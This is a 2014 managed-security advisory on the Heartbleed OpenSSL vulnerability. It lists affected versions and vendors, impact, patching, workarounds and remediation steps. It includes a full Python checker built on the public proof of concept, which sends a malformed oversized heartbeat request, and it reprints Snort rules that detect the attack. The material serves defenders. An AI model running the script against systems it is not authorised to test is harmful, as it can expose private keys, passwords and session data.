Heartbleed Bug Advisory (CVE-2014-0160)

MSS-SIEM

Prepared By: Managed Service / Revision Number: 1.1

Date: 04/9/2014

Table of Contents

Technical Summary

The Heartbleed Bug is a name given to a vulnerability within the OpenSSL cryptographic library (CVE-2014-0160) used to encrypt communications between web applications, email exchanges, instant messaging clients and some SSL based VPN (virtual private network) connections. This issue occurs because the vulnerable software packages do not properly handle Heartbeat Extension packets.

Affected Versions

OpenSSL provides the SSL implementation in many mainstream products and applications including the following that may be affected by the Heartbleed vulnerability. The vulnerability of the individual product will depend on the linked version of OpenSSL used to build the application or the installed library version.

- Apache web server (see table below to confirm SSL version)
- Tomcat (see table below to confirm SSL version)
- Nginx (see table below to confirm SSL version)
- F5 Virtualized Products in some cases
- LTM v11.5 and others
- A full reference can be found here
- “Appliances” based on Apache web server and other services using OpenSSL
- “Management Interfaces” based on Apache web server and other services using OpenSSL
- A wide array of Linux-based products and systems

Per OpenSSL, the following are versions of OpenSSL and their status in relation to exploitation:

Software Package	Status
OpenSSL 1.0.1 through 1.0.1f (inclusive)	IS vulnerable
OpenSSL 1.0.1g	is NOT vulnerable
OpenSSL 1.0.0 branch	is NOT vulnerable
OpenSSL 0.9.8 branch	is NOT vulnerable

Several operating systems were distributed with these versions during install, they are:

Operating System
Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
CentOS 6.5, OpenSSL 1.0.1e-15
Fedora 18, OpenSSL 1.0.1e-4
OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013

NetBSD 5.0.2 (OpenSSL 1.0.1e)
OpenSUSE 12.2 (OpenSSL 1.0.1c)

Additional vulnerable products are listed below.

The vulnerability **DOES NOT** affect the following major platforms:

- Microsoft IIS (all versions)
- F5 Products (native stack)

Determining Vulnerability

A number of tools and signatures have been developed to address this vulnerability including both online tools and standalone tests.

Commercial Vulnerability Scanning Tools

Multiple vendors are releasing updates to identify the presence of the SSL Heartbleed attack by end of week. At this point in time no commercial vulnerability scanners contain a check specifically for Heartbleed although automated identification of OpenSSL versions can be used to identify vulnerable systems.

Command Line

Running the command "openssl version -a" will return the version information. If the version is 1.0.1, you MAY be vulnerable. Only version 1.0.1g is NOT vulnerable. Other major versions (0.9x, 1.0.0 ...) are NOT vulnerable.

SSLLabs.com

The SSLLabs.com suite provides a free, web-based mechanism for testing for the heartbeat vulnerability and a number of other SSL related issues.

Standalone Tools

A standalone python based tool has been published to identify if a system is vulnerable with easy to parse output listed below:

```
#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford
(jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.


# usage heartbleed.py ip –p port (default: 443)


# Modified for simplified checking by Yonathan Klijnsma
# Example Output: 1.2.3.4|VULNERABLE


import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
```

```
target = None

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat
vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test
(default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
```

```
            rdata += data
            remain -= len(data)
    return rdata


def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        return None, None, None

    return typ, ver, pay

def hit_hb(s):
    global target
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print target + '|NOT VULNERABLE'
            return False

        if typ == 24:
            if len(pay) > 3:
                print target + '|VULNERABLE'
            else:
                print target + '|NOT VULNERABLE'
            return True

        if typ == 21:
            print target + '|NOT VULNERABLE'
            return False

def main():
    global target
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    target = args[0]
    sys.stdout.flush()
    s.send(hello)
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            return
        # Look for server hello done message.
```

```
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()
```

At this point in time (04/09/2014) no commercial vulnerability scanners are providing a check for the vulnerability although this is expected to change within the next 24 hours.

Impact

The Heartbeat exploit allows an attacker to gain access to the contents of the web server memory and other vulnerable services. The attack is not mitigated by OpenSSL FIPS mode; however the usage of Perfect Forward Secrecy (PFS) can reduce the level of exposure.

An attacker with minimal knowledge and access to a web server or other service vulnerable to Heartbeat could compromise the following:

- SSL private keys – this could allow for decryption of intercepted traffic although compromise of SSL private keys is unlikely
- Configuration file contents (such as connection strings)
- Usernames/passwords submitted to applications
- Session tokens/session cookie values
- DTLS with spoofed packets can lead to traffic amplification and DDoS

Recommendations

Overview

In situations where the build of OpenSSL and other related applications such as Apache web server are controlled by the customer it is possible to update or rebuild the applications to use a more current version of OpenSSL. Since many appliance-based solutions and third party packages are built on this platform.

Patching

OpenSSL has provided a patched version of the software that will prevent exploitation. The patched version is OpenSSL 1.0.1g. It is available for download through OpenSSL and available through OS vendor patching portals as well.

Third Party Vendors

Follow up with third-party vendors and service providers for official recommendations. Many third-party products and appliances implement OpenSSL that require updates. As a result many of the workarounds may not be possible without support from the vendor.

Workaround (Manual Builds of OpenSSL)

OpenSSL states that anyone unable to upgrade to the patched version of 1.0.1g should recompile their current version of OpenSSL using the -DOPENSSL_NO_HEARTBEATS option.

In many cases this may not be possible if other applications are pre-built and statically linked to a particular version of OpenSSL.

Known Vulnerable Vendors

Vendor Information (Learn More)

Vendor	Status	Date Notified	Date Updated
Cisco	Affected	07 Apr 2014	09 Apr 2014
Check Point Software Technologies	Affected	07 Apr 2014	08 Apr 2014
Debian GNU/Linux	Affected	07 Apr 2014	07 Apr 2014
Fedora Project	Affected	07 Apr 2014	08 Apr 2014
FreeBSD Project	Affected	07 Apr 2014	08 Apr 2014
Gentoo Linux	Affected	07 Apr 2014	08 Apr 2014
Mandriva S. A.	Affected	07 Apr 2014	07 Apr 2014

NetBSD	Affected	07 Apr 2014	08 Apr 2014
OpenSUSE	Affected	-	08 Apr 2014
Red Hat, Inc.	Affected	07 Apr 2014	08 Apr 2014
Slackware Linux Inc.	Affected	07 Apr 2014	07 Apr 2014
Ubuntu	Affected	07 Apr 2014	07 Apr 2014
Infoblox	Not Affected	07 Apr 2014	08 Apr 2014
m0n0wall	Not Affected	07 Apr 2014	08 Apr 2014
Peplink	Not Affected	07 Apr 2014	08 Apr 2014
Quagga	Not Affected	07 Apr 2014	07 Apr 2014

Use Perfect Forward Secrecy (PFS)

Perfect forward Secrecy (PFS) can help minimize the damage in the case of a secret key leak by making it more difficult to decrypt already-captured network traffic. However, if a ticket key is leaked, then any sessions that use that ticket could be compromised. Ticket keys may only be regenerated when a web server is restarted.

Monitoring/Detection

The following vendors have released signatures for detecting the attack at the time of writing:

Mcafee/Intel

A Network Security Emergency User Defined Signature (UDS) has been created to detect this threat. The UDS is available for download via the Knowledge Base article KB55447. KnowledgeBase article KB55447 is only available to registered users.

Palo Alto Networks

To address this vulnerability, Palo Alto Networks has released an emergency content update that provides detection of attempted exploitation of CVE-2014-0160 with IPS vulnerability signature ID 36416 ("OpenSSL TLS Heartbeat Information Disclosure Vulnerability") with critical severity and a default action of block. Palo Alto Networks customers with a Threat Prevention subscription are advised to verify that they are running the latest content version on their devices.

Sourcefire and Snort

http://vrt-blog.snort.org/2014/04/heartbleed-memory-disclosure-upgrade.html

```
# SIDs 30510 through 30517 address detection of the heartbleed attack
alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL SSLv3
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 00|";
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1;
metadata:policy balanced-ips drop, policy security-ips drop, service ssl;
```

```
reference:cve,2014-0160; classtype:attempted-recon; sid:30510; rev:2;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 01|";
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1;
metadata:policy balanced-ips drop, policy security-ips drop, service ssl;
reference:cve,2014-0160; classtype:attempted-recon; sid:30511; rev:2;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1.1
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 02|";
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1;
metadata:policy balanced-ips drop, policy security-ips drop, service ssl;
reference:cve,2014-0160; classtype:attempted-recon; sid:30512; rev:2;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1.2
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 03|";
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1;
metadata:policy balanced-ips drop, policy security-ips drop, service ssl;
reference:cve,2014-0160; classtype:attempted-recon; sid:30513; rev:2;)

alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER SSLv3 large
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established;
content:"|18 03 00|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30514;
rev:3;)

alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1 large
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established;
content:"|18 03 01|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30515;
rev:3;)

alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1.1 large
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established;
content:"|18 03 02|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30516;
rev:3;)

alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1.2 large
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established;
content:"|18 03 03|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30517;
rev:3;)
```

Sourcefire has also issued a signature for detecting the attack:

Rule Update 2014-04-08-003: Version 5.x
SEU 1079: Versions 4.10.x and 4.9.x

Accuvant MSS Recommendations

Accuvant Managed Security Solutions is currently developing custom content to identify the Heartbleed attack across all of the managed platforms and service lines. Accuvant clients with any of the devices listed in the Monitoring/Detection section of this document with updated signatures will have coverage for this issue.

Strategic Recommendations

To ensure thorough mitigation Accuvant strongly recommends the following additional steps:

- Regenerate the SSL private key starting with externally facing systems
- Rotate and revoke SSL certificates on externally facing systems
- Restart all web servers to terminate any live session IDs that may have been disclosed during an attack.
- Change passwords for all accounts – this includes the following
    - Single sign-on platforms that may have interacted with the host
    - Appliance web interface logins that may use OpenSSL/Apache
    - Active directory accounts that may have been used for backend authentication
- Update browser configurations to reject revoked certificates – Not all browsers check for revoked certificates by default including some versions of Chrome and Internet Explorer.

References

1. http://blog.inliniac.net/2014/04/08/detecting-openssl-heartbleed-with-suricata/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SecurityBloggersNetwork+%28Security+Bloggers+Network%29
2. http://blog.fox-it.com/2014/04/08/openssl-heartbleed-bug-live-blog/
3. http://heartbleed.com/
4. http://seclists.org/oss-sec/2014/q2/22
5. http://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=96db902
6. https://tools.ietf.org/html/rfc6520
7. http://www.openssl.org/news/openssl-1.0.1-notes.html
8. http://blog.cryptographyengineering.com/2014/04/attack-of-week-openssl-heartbleed.html
9. http://blog.fox-it.com/2014/04/08/openssl-heartbleed-bug-live-blog/
10. https://www.cert.fi/en/reports/2014/vulnerability788210.html
11. http://www.exploit-db.com/exploits/32745/
12. https://access.redhat.com/security/cve/CVE-2014-0160
13. http://www.ubuntu.com/usn/usn-2165-1/
14. http://www.freshports.org/security/openssl/
15. https://blog.torproject.org/blog/openssl-bug-cve-2014-0160

Revisions

Release Version:	1.0 – Initial Release
Date:	4/9/2014
Summary of Changes:	Initial release